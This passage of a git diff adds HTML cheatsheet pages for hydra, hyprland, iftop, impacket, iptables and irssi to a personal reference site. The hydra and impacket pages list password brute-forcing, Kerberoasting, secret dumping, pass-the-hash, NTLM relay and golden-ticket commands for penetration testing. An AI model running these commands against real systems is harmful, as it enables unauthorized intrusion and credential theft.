      hydra -L users.txt -P passwords.txt ftp://192.168.1.100
      +

      SMB Attack

      +
      hydra -L users.txt -P passwords.txt smb://192.168.1.100
      +

      RDP Attack

      +
      hydra -L users.txt -P passwords.txt rdp://192.168.1.100
      +

      MySQL Attack

      +
      hydra -l root -P passwords.txt mysql://192.168.1.100
      +

      VNC Attack

      +
      hydra -P passwords.txt vnc://192.168.1.100
      +

      Wordlist Generation

      +
      hydra -l admin -x 6:8:aA1 http-get://target.com/protected
      +

      Output to File

      +
      hydra -l admin -P passwords.txt -o results.txt ssh://192.168.1.100
      +
      +

      Tips

      +
        +
      • Use -t to adjust parallel tasks (higher = faster but more detectable)
      • +
      +
        +
      • Use -f to stop on first valid login
      • +
      +
        +
      • Use -e nsr to try common weak passwords
      • +
      +
        +
      • Use -V for verbose output to see attempts
      • +
      +
        +
      • Always test on authorized systems only
      • +
      +
        +
      • Lower -t value reduces detection but increases time
      • +
      +
        +
      • Use -x for password generation when no wordlist available
      • +
      +
        +
      • Combine -L and -P for comprehensive testing
      • +
      +
        +
      • Use -o to save results for documentation
      • +
      +
        +
      • HTTP POST forms require proper syntax: "field=^USER^&field2=^PASS^":"error message"
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/hyprland.html b/cheatsheets/hyprland.html new file mode 100644 index 0000000..22fa257 --- /dev/null +++ b/cheatsheets/hyprland.html @@ -0,0 +1,252 @@ + + + + + + + + + + + hyprland Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      hyprland Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      hyprland is a dynamic tiling Wayland compositor.

      +
      +

      Application Launch

      +
        +
      • Super+Return - Launch terminal
      • +
      +
        +
      • Super+Shift+Return - Launch floating terminal
      • +
      +
        +
      • Super+D - Application launcher (rofi/dmenu)
      • +
      +
        +
      • Super+B - Launch browser
      • +
      +
        +
      • Super+E - Launch file manager
      • +
      +
        +
      • Super+Q - Close active window
      • +
      +
      +

      Window Management

      +
        +
      • Super+Q - Close focused window
      • +
      +
        +
      • Super+F - Toggle fullscreen
      • +
      +
        +
      • Super+Shift+F - Toggle floating
      • +
      +
        +
      • Super+T - Toggle tiling/floating
      • +
      +
        +
      • Super+P - Toggle pin (keep on top)
      • +
      +
        +
      • Super+S - Toggle split (horizontal/vertical)
      • +
      +
        +
      • Super+Shift+S - Swap windows
      • +
      +
        +
      • Super+R - Resize mode
      • +
      +
      +

      Window Navigation

      +
        +
      • Super+H/J/K/L - Move focus (vim-style)
      • +
      +
        +
      • Super+Shift+H/J/K/L - Move window
      • +
      +
        +
      • Super+Arrow - Move focus
      • +
      +
        +
      • Super+Shift+Arrow - Move window
      • +
      +
        +
      • Super+Tab - Switch to last window
      • +
      +
        +
      • Super+Shift+Tab - Switch windows (reverse)
      • +
      +
      +

      Workspaces

      +
        +
      • Super+1-9 - Switch to workspace
      • +
      +
        +
      • Super+Shift+1-9 - Move window to workspace
      • +
      +
        +
      • Super+Ctrl+Left/Right - Switch workspace
      • +
      +
        +
      • Super+Ctrl+Shift+Left/Right - Move window to workspace
      • +
      +
        +
      • Super+Mouse1 - Move window (drag)
      • +
      +
        +
      • Super+Mouse2 - Resize window (drag)
      • +
      +
      +

      Layout and Resize

      +
        +
      • Super+Plus - Increase window size
      • +
      +
        +
      • Super+Minus - Decrease window size
      • +
      +
        +
      • Super+Shift+Plus - Increase gap
      • +
      +
        +
      • Super+Shift+Minus - Decrease gap
      • +
      +
        +
      • Super+R - Enter resize mode
      • +
      +
        +
      • Super+Escape - Exit resize mode
      • +
      +
      +

      System

      +
        +
      • Super+Shift+Q - Quit hyprland
      • +
      +
        +
      • Super+Shift+E - Exit session
      • +
      +
        +
      • Super+L - Lock screen
      • +
      +
        +
      • Print - Screenshot
      • +
      +
        +
      • Super+Print - Screenshot (area)
      • +
      +
        +
      • Super+Shift+Print - Screenshot (window)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/hypr/hyprland.conf (main config)
      • +
      +
        +
      • ~/.config/hypr/config.d/*.conf (split config files)
      • +
      +

      Example Key Bindings

      +

      Customize in hyprland.conf:

      +
      # Application launch
      +bind = SUPER, RETURN, exec, kitty
      +bind = SUPER, B, exec, firefox
      +bind = SUPER, D, exec, rofi -show drun
      +
      +# Window management
      +bind = SUPER, Q, killactive
      +bind = SUPER, F, fullscreen
      +bind = SUPER, SHIFT, F, togglefloating
      +
      +# Window navigation
      +bind = SUPER, H, movefocus, l
      +bind = SUPER, L, movefocus, r
      +bind = SUPER, J, movefocus, d
      +bind = SUPER, K, movefocus, u
      +
      +# Workspaces
      +bind = SUPER, 1, workspace, 1
      +bind = SUPER, 2, workspace, 2
      +bind = SUPER SHIFT, 1, movetoworkspace, 1
      +bind = SUPER SHIFT, 2, movetoworkspace, 2
      +
      +# System
      +bind = SUPER SHIFT, Q, exit
      +bind = , Print, exec, grim
      +

      Mouse Bindings

      +
      # Mouse bindings
      +bindm = SUPER, mouse:272, movewindow
      +bindm = SUPER, mouse:273, resizewindow
      +
      +

      Tips

      +
        +
      • Bind syntax: bind = MODS, KEY, dispatcher, params
      • +
      +
        +
      • Supports flags: r (release), l (locked), e (repeat)
      • +
      +
        +
      • Use pass dispatcher for global keybinds
      • +
      +
        +
      • Window rules allow matching by class for app-specific behavior
      • +
      +
        +
      • Supports multiple keyboard layouts
      • +
      +
        +
      • Use bindsym for symbolic key names
      • +
      +
        +
      • Split config files for organization
      • +
      +
        +
      • Use exec-once for startup commands
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/iftop.html b/cheatsheets/iftop.html new file mode 100644 index 0000000..fbe2b75 --- /dev/null +++ b/cheatsheets/iftop.html @@ -0,0 +1,218 @@ + + + + + + + + + + + iftop Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      iftop Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      iftop displays bandwidth usage on an interface by host connection.

      +
      +

      Basic Usage

      +
        +
      • sudo iftop - Start on default interface
      • +
      +
        +
      • sudo iftop -i <interface> - Monitor specific interface
      • +
      +
        +
      • sudo iftop -i eth0 - Monitor eth0 interface
      • +
      +
        +
      • sudo iftop -i wlan0 - Monitor wlan0 interface
      • +
      +
      +

      Command Line Options

      +
        +
      • -i <interface> - Specify interface
      • +
      +
        +
      • -n - Disable hostname lookup (show IPs)
      • +
      +
        +
      • -N - Don't convert port numbers to service names
      • +
      +
        +
      • -b - Display in bytes/sec (default is bits/sec)
      • +
      +
        +
      • -B - Display in bytes/sec (alternative)
      • +
      +
        +
      • -t - Text-only mode (no bar graph)
      • +
      +
        +
      • -L <num> - Print length of screen
      • +
      +
        +
      • -p - Promiscuous mode
      • +
      +
        +
      • -P - Show ports
      • +
      +
        +
      • -f <filter> - Apply BPF filter
      • +
      +
        +
      • -F <net/mask> - Show traffic flows to/from network
      • +
      +
      +

      Interactive Commands

      +

      Navigation

      +
        +
      • j or ↓ - Scroll down
      • +
      +
        +
      • k or ↑ - Scroll up
      • +
      +
        +
      • h or ? - Show help
      • +
      +
        +
      • q - Quit
      • +
      +

      Display Toggles

      +
        +
      • n - Toggle DNS name resolution
      • +
      +
        +
      • N - Toggle service name vs port number
      • +
      +
        +
      • p - Toggle port display
      • +
      +
        +
      • s - Toggle source host display
      • +
      +
        +
      • d - Toggle destination host display
      • +
      +
        +
      • t - Cycle display modes (2s, 10s, 40s averages)
      • +
      +
        +
      • b - Toggle bar graph mode
      • +
      +

      Sorting

      +
        +
      • < - Sort by source
      • +
      +
        +
      • > - Sort by destination
      • +
      +
        +
      • o - Order by current sort method
      • +
      +

      Filtering

      +
        +
      • l - Set screen filter
      • +
      +
        +
      • L - Set and lock screen filter
      • +
      +
        +
      • ! - Run shell command in filter line
      • +
      +
        +
      • 1-9 - Filter by protocol type
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • No main config file (runs interactively)
      • +
      +
        +
      • Options passed via command line or aliases
      • +
      +

      Example Aliases

      +

      Add to your shell config:

      +
      # Quick interface monitoring
      +alias iftop-eth0='sudo iftop -i eth0 -n -N'
      +alias iftop-wlan0='sudo iftop -i wlan0 -n -N'
      +
      +# Bytes per second display
      +alias iftop-b='sudo iftop -b -n -N'
      +
      +

      Tips

      +
        +
      • Run with root privileges (sudo) to capture on interfaces
      • +
      +
        +
      • Use -n and -N flags for less distraction in noisy networks
      • +
      +
        +
      • Exit with q, use filters in combination with command options to reduce data
      • +
      +
        +
      • Useful for spotting sudden spikes or bandwidth hogs in real time
      • +
      +
        +
      • Turn off DNS and service name lookups (-n -N) for quicker, clearer output
      • +
      +
        +
      • Press h while running to see a key reference screen
      • +
      +
        +
      • Use filters (-f) to focus on specific traffic
      • +
      +
        +
      • Watch the averages (2s, 10s, 40s) to see both momentary and sustained usage patterns
      • +
      +
        +
      • Use -b flag to display in bytes/sec if that's more intuitive
      • +
      +
        +
      • Text-only mode (-t) useful for logging or screenshots
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/impacket.html b/cheatsheets/impacket.html new file mode 100644 index 0000000..2102cd8 --- /dev/null +++ b/cheatsheets/impacket.html @@ -0,0 +1,236 @@ + + + + + + + + + + + impacket Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      impacket Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Impacket is a collection of Python classes for working with network protocols. Provides tools for SMB, MSRPC, LDAP, Kerberos, and more. Essential for Windows network security testing and Active Directory exploitation.

      +
      +

      Common Tools

      +
        +
      • GetNPUsers.py - AS-REP Roasting
      • +
      +
        +
      • GetUserSPNs.py - Kerberoasting
      • +
      +
        +
      • secretsdump.py - Dump secrets
      • +
      +
        +
      • psexec.py - Remote execution
      • +
      +
        +
      • smbclient.py - SMB client
      • +
      +
        +
      • smbserver.py - SMB server
      • +
      +
        +
      • wmiexec.py - WMI execution
      • +
      +
        +
      • atexec.py - Task scheduler execution
      • +
      +
        +
      • dcomexec.py - DCOM execution
      • +
      +
        +
      • lookupsid.py - SID enumeration
      • +
      +
        +
      • rpcdump.py - RPC endpoint dump
      • +
      +
        +
      • samrdump.py - SAM dump
      • +
      +
        +
      • ntlmrelayx.py - NTLM relay
      • +
      +
        +
      • ticketConverter.py - Convert tickets
      • +
      +
        +
      • ticketer.py - Create tickets
      • +
      +
      +

      AS-REP Roasting

      +
        +
      • GetNPUsers.py domain/ - List vulnerable users
      • +
      +
        +
      • GetNPUsers.py domain/user:pass - Authenticated
      • +
      +
        +
      • GetNPUsers.py -dc-ip 10.10.10.10 domain/ - Specify DC
      • +
      +
        +
      • GetNPUsers.py -request domain/ - Request tickets
      • +
      +
        +
      • GetNPUsers.py -format hashcat domain/ - Hashcat format
      • +
      +
      +

      Kerberoasting

      +
        +
      • GetUserSPNs.py domain/user:pass - Get SPNs
      • +
      +
        +
      • GetUserSPNs.py -dc-ip 10.10.10.10 domain/user:pass - Specify DC
      • +
      +
        +
      • GetUserSPNs.py -request domain/user:pass - Request tickets
      • +
      +
        +
      • GetUserSPNs.py -outputfile hashes.txt domain/user:pass - Save hashes
      • +
      +
      +

      Secrets Dumping

      +
        +
      • secretsdump.py domain/user:pass@target - Dump secrets
      • +
      +
        +
      • secretsdump.py -hashes :hash domain/user@target - Pass-the-hash
      • +
      +
        +
      • secretsdump.py -just-dc domain/user:pass@target - Domain cache
      • +
      +
        +
      • secretsdump.py -just-dc-ntlm domain/user:pass@target - NTLM only
      • +
      +
        +
      • secretsdump.py -just-dc-user user domain/user:pass@target - Specific user
      • +
      +
      +

      Remote Execution

      +
        +
      • psexec.py domain/user:pass@target - PsExec
      • +
      +
        +
      • wmiexec.py domain/user:pass@target - WMI execution
      • +
      +
        +
      • atexec.py domain/user:pass@target - Task scheduler
      • +
      +
        +
      • dcomexec.py domain/user:pass@target - DCOM execution
      • +
      +
        +
      • smbexec.py domain/user:pass@target - SMB execution
      • +
      +
      +

      SMB Operations

      +
        +
      • smbclient.py domain/user:pass@target - SMB client
      • +
      +
        +
      • smbclient.py -hashes :hash domain/user@target - Pass-the-hash
      • +
      +
        +
      • smbserver.py SHARE /path - Start SMB server
      • +
      +
        +
      • smbserver.py -username user -password pass SHARE /path - Authenticated
      • +
      +
      +

      Common Examples

      +

      AS-REP Roasting

      +
      GetNPUsers.py domain.local/ -dc-ip 10.10.10.10
      +

      Find users with pre-auth disabled.

      +

      Kerberoasting

      +
      GetUserSPNs.py domain.local/user:pass -request
      +

      Request service tickets for cracking.

      +

      Dump Secrets

      +
      secretsdump.py domain.local/user:pass@10.10.10.10
      +

      Extract credentials from target.

      +

      Pass-the-Hash

      +
      psexec.py -hashes :aad3b435b51404ee domain/user@target
      +

      Authenticate with hash.

      +

      Remote Shell

      +
      psexec.py domain/user:pass@target
      +

      Get interactive shell.

      +

      SMB Client

      +
      smbclient.py domain/user:pass@target
      +

      Access SMB shares.

      +

      NTLM Relay

      +
      ntlmrelayx.py -tf targets.txt -smb2support
      +

      Relay NTLM authentication.

      +

      Create Ticket

      +
      ticketer.py -nthash hash -domain-sid SID -domain domain.local administrator
      +

      Create golden ticket.

      +
      +

      Tips

      +
        +
      • Use GetNPUsers for AS-REP roasting
      • +
      +
        +
      • Use GetUserSPNs for Kerberoasting
      • +
      +
        +
      • secretsdump is powerful for credential extraction
      • +
      +
        +
      • Multiple execution methods available (psexec, wmiexec, etc.)
      • +
      +
        +
      • Use -hashes for pass-the-hash attacks
      • +
      +
        +
      • Essential for AD security testing
      • +
      +
        +
      • Many tools support Kerberos authentication
      • +
      +
        +
      • Check documentation for specific protocol details
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/index.html b/cheatsheets/index.html new file mode 100644 index 0000000..da7880d --- /dev/null +++ b/cheatsheets/index.html @@ -0,0 +1,63 @@ + + + + + + + + + + + Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      Cheatsheets

      +
      +
      +
      +

      + Quick reference guides for common tools and utilities. +

      + +
      +

      Network Tools

      +
      +

      nmap

      +

      Network mapper and port scanner. The gold standard for network discovery and security auditing.

      +
      +
      +

      ssh

      +

      Secure shell for remote login and command execution. Encrypted replacement for telnet and rsh.

      +
      +
      +
      + + + + diff --git a/cheatsheets/iptables.html b/cheatsheets/iptables.html new file mode 100644 index 0000000..10b562f --- /dev/null +++ b/cheatsheets/iptables.html @@ -0,0 +1,343 @@ + + + + + + + + + + + iptables Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      iptables Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      iptables is the traditional Linux firewall tool for configuring IPv4 packet filtering rules. It uses tables and chains to control network traffic.

      +
      +

      Basic Commands

      +
        +
      • iptables -L - List all rules
      • +
      +
        +
      • iptables -L -v - List rules with verbose output
      • +
      +
        +
      • iptables -L -n - List rules with numeric addresses
      • +
      +
        +
      • iptables -L -v -n --line-numbers - Full listing with line numbers
      • +
      +
        +
      • iptables -S - Show rules in iptables-save format
      • +
      +
        +
      • iptables -F - Flush all rules (clear all)
      • +
      +
        +
      • iptables -X - Delete all user-defined chains
      • +
      +
        +
      • iptables -Z - Zero all packet and byte counters
      • +
      +
      +

      Tables

      +
        +
      • filter - Default table for packet filtering (INPUT, OUTPUT, FORWARD)
      • +
      +
        +
      • nat - Network address translation (PREROUTING, POSTROUTING, OUTPUT)
      • +
      +
        +
      • mangle - Packet alteration (all chains)
      • +
      +
        +
      • raw - Connection tracking exemptions (PREROUTING, OUTPUT)
      • +
      +
        +
      • security - SELinux rules (INPUT, OUTPUT, FORWARD)
      • +
      +

      Use -t to specify table:

      +
        +
      • iptables -t nat -L - List NAT rules
      • +
      +
        +
      • iptables -t mangle -L - List mangle rules
      • +
      +
      +

      Chains

      +

      Filter Table Chains

      +
        +
      • INPUT - Incoming packets destined for local system
      • +
      +
        +
      • OUTPUT - Outgoing packets from local system
      • +
      +
        +
      • FORWARD - Packets routed through the system
      • +
      +

      NAT Table Chains

      +
        +
      • PREROUTING - Alter packets before routing
      • +
      +
        +
      • POSTROUTING - Alter packets after routing
      • +
      +
        +
      • OUTPUT - Alter locally-generated packets before routing
      • +
      +
      +

      Adding Rules

      +
        +
      • iptables -A <chain> <rule> - Append rule to chain
      • +
      +
        +
      • iptables -I <chain> <rule> - Insert rule at beginning
      • +
      +
        +
      • iptables -I <chain> <num> <rule> - Insert rule at position
      • +
      +
        +
      • iptables -R <chain> <num> <rule> - Replace rule at position
      • +
      +
        +
      • iptables -D <chain> <rule> - Delete specific rule
      • +
      +
        +
      • iptables -D <chain> <num> - Delete rule by number
      • +
      +
      +

      Rule Matching

      +

      Interface Matching

      +
        +
      • -i eth0 - Match input interface
      • +
      +
        +
      • -o eth0 - Match output interface
      • +
      +

      Address Matching

      +
        +
      • -s 192.168.1.0/24 - Match source address/network
      • +
      +
        +
      • -d 10.0.0.1 - Match destination address
      • +
      +
        +
      • ! -s 192.168.1.100 - Negate (match everything except)
      • +
      +

      Protocol Matching

      +
        +
      • -p tcp - Match TCP protocol
      • +
      +
        +
      • -p udp - Match UDP protocol
      • +
      +
        +
      • -p icmp - Match ICMP protocol
      • +
      +
        +
      • -p all - Match all protocols
      • +
      +

      Port Matching (requires -p tcp or -p udp)

      +
        +
      • --sport 22 - Match source port
      • +
      +
        +
      • --dport 80 - Match destination port
      • +
      +
        +
      • --dport 80:443 - Match port range
      • +
      +
        +
      • -m multiport --dports 22,80,443 - Match multiple ports
      • +
      +
      +

      Targets (Actions)

      +
        +
      • -j ACCEPT - Accept the packet
      • +
      +
        +
      • -j DROP - Drop the packet silently
      • +
      +
        +
      • -j REJECT - Reject and send error response
      • +
      +
        +
      • -j LOG - Log the packet
      • +
      +
        +
      • -j RETURN - Return to calling chain
      • +
      +
        +
      • -j SNAT --to-source <ip> - Source NAT
      • +
      +
        +
      • -j DNAT --to-destination <ip> - Destination NAT
      • +
      +
        +
      • -j MASQUERADE - Dynamic source NAT (for dynamic IPs)
      • +
      +
      +

      Connection Tracking

      +
        +
      • -m state --state NEW - New connections
      • +
      +
        +
      • -m state --state ESTABLISHED - Established connections
      • +
      +
        +
      • -m state --state RELATED - Related connections (e.g., FTP data)
      • +
      +
        +
      • -m state --state INVALID - Invalid packets
      • +
      +
        +
      • -m conntrack --ctstate NEW,ESTABLISHED - Modern syntax
      • +
      +
      +

      Common Examples

      +

      Allow SSH

      +
      iptables -A INPUT -p tcp --dport 22 -j ACCEPT
      +

      Allow Established Connections

      +
      iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
      +

      Block IP Address

      +
      iptables -A INPUT -s 192.168.1.100 -j DROP
      +

      Allow HTTP/HTTPS

      +
      iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
      +

      Port Forwarding (NAT)

      +
      iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.10:80
      +iptables -t nat -A POSTROUTING -j MASQUERADE
      +

      Log Dropped Packets

      +
      iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: " --log-level 4
      +iptables -A INPUT -j DROP
      +

      Basic Firewall Setup

      +
      # Default policies
      +iptables -P INPUT DROP
      +iptables -P FORWARD DROP
      +iptables -P OUTPUT ACCEPT
      +
      +# Allow loopback
      +iptables -A INPUT -i lo -j ACCEPT
      +
      +# Allow established
      +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
      +
      +# Allow SSH
      +iptables -A INPUT -p tcp --dport 22 -j ACCEPT
      +
      +

      Saving and Restoring

      +
        +
      • iptables-save > /etc/iptables.rules - Save rules to file
      • +
      +
        +
      • iptables-restore < /etc/iptables.rules - Restore rules from file
      • +
      +
        +
      • netfilter-persistent save - Save rules (Debian/Ubuntu)
      • +
      +
        +
      • service iptables save - Save rules (RHEL/CentOS)
      • +
      +
      +

      Default Policies

      +
        +
      • iptables -P INPUT DROP - Set default INPUT policy to DROP
      • +
      +
        +
      • iptables -P OUTPUT ACCEPT - Set default OUTPUT policy to ACCEPT
      • +
      +
        +
      • iptables -P FORWARD DROP - Set default FORWARD policy to DROP
      • +
      +
      +

      Rate Limiting

      +
      # Limit SSH connections to 3 per minute
      +iptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min --limit-burst 3 -j ACCEPT
      +iptables -A INPUT -p tcp --dport 22 -j DROP
      +
      +

      IPv6

      +
        +
      • ip6tables - IPv6 version of iptables
      • +
      +
        +
      • ip6tables -L - List IPv6 rules
      • +
      +
        +
      • ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT - Allow SSH over IPv6
      • +
      +
      +

      Tips

      +
        +
      • Always allow loopback interface first
      • +
      +
        +
      • Allow established/related connections before specific rules
      • +
      +
        +
      • Set default policies after adding allow rules to avoid lockout
      • +
      +
        +
      • Use -n flag for faster output (skips DNS lookups)
      • +
      +
        +
      • Test rules with -C (check) before adding
      • +
      +
        +
      • Use iptables-save to backup before making changes
      • +
      +
        +
      • Consider migrating to nftables - it's the modern replacement
      • +
      +
        +
      • Use --line-numbers when deleting rules by number
      • +
      +
        +
      • Log before dropping to debug connectivity issues
      • +
      +
        +
      • Be careful with -F when default policy is DROP (lockout risk)
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/irssi.html b/cheatsheets/irssi.html new file mode 100644 index 0000000..7f0b160 --- /dev/null +++ b/cheatsheets/irssi.html @@ -0,0 +1,431 @@ + + + + + + + + + + + irssi Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      irssi Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      irssi is a terminal-based IRC (Internet Relay Chat) client. Lightweight, fast, and highly configurable for chatting on IRC networks.

      +
      +

      Connecting to Networks

      +
        +
      • /connect <server> - Connect to IRC server
      • +
      +
        +
      • /connect <server> <port> - Connect with specific port
      • +
      +
        +
      • /connect <server> <port> <password> - Connect with password
      • +
      +
        +
      • /disconnect - Disconnect from current server
      • +
      +
        +
      • /quit - Quit irssi
      • +
      +
        +
      • /save - Save configuration
      • +
      +
      +

      Channel Operations

      +
        +
      • /join <#channel> - Join channel
      • +
      +
        +
      • /join <#channel> <key> - Join password-protected channel
      • +
      +
        +
      • /part <#channel> - Leave channel
      • +
      +
        +
      • /part <#channel> <message> - Leave with message
      • +
      +
        +
      • /names <#channel> - List users in channel
      • +
      +
        +
      • /topic <#channel> <topic> - Set channel topic
      • +
      +
        +
      • /msg <#channel> <message> - Send message to channel
      • +
      +
      +

      Private Messages

      +
        +
      • /query <nick> - Start private message
      • +
      +
        +
      • /msg <nick> <message> - Send private message
      • +
      +
        +
      • /close - Close current window
      • +
      +
        +
      • /wclose - Close window
      • +
      +
      +

      Window Navigation

      +
        +
      • Alt+0-9 - Switch to window number
      • +
      +
        +
      • Alt+Arrow or Ctrl+N/P - Switch windows
      • +
      +
        +
      • /window next - Next window
      • +
      +
        +
      • /window prev - Previous window
      • +
      +
        +
      • /window goto <number> - Go to window number
      • +
      +
        +
      • /window close - Close current window
      • +
      +
        +
      • /window new - Create new window
      • +
      +
        +
      • /window new split - Split window
      • +
      +
        +
      • /window show irc - Show IRC windows only
      • +
      +
      +

      Input Editing

      +
        +
      • Ctrl+A - Beginning of line
      • +
      +
        +
      • Ctrl+E - End of line
      • +
      +
        +
      • Ctrl+B/F - Move backward/forward one character
      • +
      +
        +
      • Ctrl+D - Delete character
      • +
      +
        +
      • Ctrl+H - Backspace
      • +
      +
        +
      • Ctrl+K - Delete to end of line
      • +
      +
        +
      • Ctrl+U - Delete to beginning of line
      • +
      +
        +
      • Ctrl+W - Delete word
      • +
      +
        +
      • Ctrl+L - Clear screen
      • +
      +
      +

      Nickname and Identity

      +
        +
      • /nick <newnick> - Change nickname
      • +
      +
        +
      • /set real_name <name> - Set real name
      • +
      +
        +
      • /set user_name <name> - Set username
      • +
      +
        +
      • /whois <nick> - Get user information
      • +
      +
        +
      • /whoami - Show your own information
      • +
      +
      +

      Server Commands

      +
        +
      • /server add -m <network> <server> <port> - Add server
      • +
      +
        +
      • /server <network> - Connect to network
      • +
      +
        +
      • /server list - List configured servers
      • +
      +
        +
      • /server remove <network> - Remove server
      • +
      +
      +

      Channel Modes

      +
        +
      • /mode <#channel> +o <nick> - Give operator status
      • +
      +
        +
      • /mode <#channel> -o <nick> - Remove operator status
      • +
      +
        +
      • /mode <#channel> +v <nick> - Give voice
      • +
      +
        +
      • /mode <#channel> -v <nick> - Remove voice
      • +
      +
        +
      • /mode <#channel> +i - Invite-only channel
      • +
      +
        +
      • /mode <#channel> +m - Moderated channel
      • +
      +
        +
      • /mode <#channel> +n - No external messages
      • +
      +
        +
      • /mode <#channel> +s - Secret channel
      • +
      +
        +
      • /mode <#channel> +t - Topic protection
      • +
      +
      +

      Channel Information

      +
        +
      • /list - List all channels
      • +
      +
        +
      • /list <pattern> - List channels matching pattern
      • +
      +
        +
      • /who <#channel> - List users in channel
      • +
      +
        +
      • /ban <#channel> <nick> - Ban user from channel
      • +
      +
        +
      • /kick <#channel> <nick> - Kick user from channel
      • +
      +
        +
      • /kick <#channel> <nick> <reason> - Kick with reason
      • +
      +
      +

      Settings and Configuration

      +
        +
      • /set <option> <value> - Set option
      • +
      +
        +
      • /set -<option> - Unset option
      • +
      +
        +
      • /toggle <option> - Toggle option
      • +
      +
        +
      • /bind -m <mode> <key> <command> - Bind key to command
      • +
      +
        +
      • /unbind -m <mode> <key> - Unbind key
      • +
      +
      +

      Common Settings

      +
        +
      • /set nick <nickname> - Set default nickname
      • +
      +
        +
      • /set real_name <name> - Set real name
      • +
      +
        +
      • /set user_name <username> - Set username
      • +
      +
        +
      • /set autojoin_channels <#channel1,#channel2> - Auto-join channels
      • +
      +
        +
      • /set autolog <on|off> - Enable/disable logging
      • +
      +
        +
      • /set autolog_path <path> - Set log file path
      • +
      +
        +
      • /set scrollback_lines <number> - Set scrollback buffer size
      • +
      +
      +

      Scripts and Plugins

      +
        +
      • /script load <script.pl> - Load script
      • +
      +
        +
      • /script unload <script.pl> - Unload script
      • +
      +
        +
      • /script list - List loaded scripts
      • +
      +
        +
      • /script exec <code> - Execute Perl code
      • +
      +
        +
      • /run <script.pl> - Run script
      • +
      +
      +

      Aliases and Shortcuts

      +
        +
      • /alias <name> <command> - Create alias
      • +
      +
        +
      • /unalias <name> - Remove alias
      • +
      +
        +
      • /alias list - List all aliases
      • +
      +

      Example aliases:

      +
        +
      • /alias j /join
      • +
      +
        +
      • /alias m /msg
      • +
      +
        +
      • /alias q /query
      • +
      +
      +

      Logging

      +
        +
      • /set autolog on - Enable automatic logging
      • +
      +
        +
      • /set autolog_path ~/irclogs/$tag/$0.log - Log file path template
      • +
      +
        +
      • /save - Save configuration (includes autolog settings)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • `~/.irssi/config` - Main configuration file
      • +
      +
        +
      • `~/.irssi/startup` - Startup commands
      • +
      +
        +
      • `~/.irssi/scripts/` - Script directory
      • +
      +

      Example Configuration

      +
      # Auto-join channels
      +servers = (
      +  {
      +    address = "irc.libera.chat";
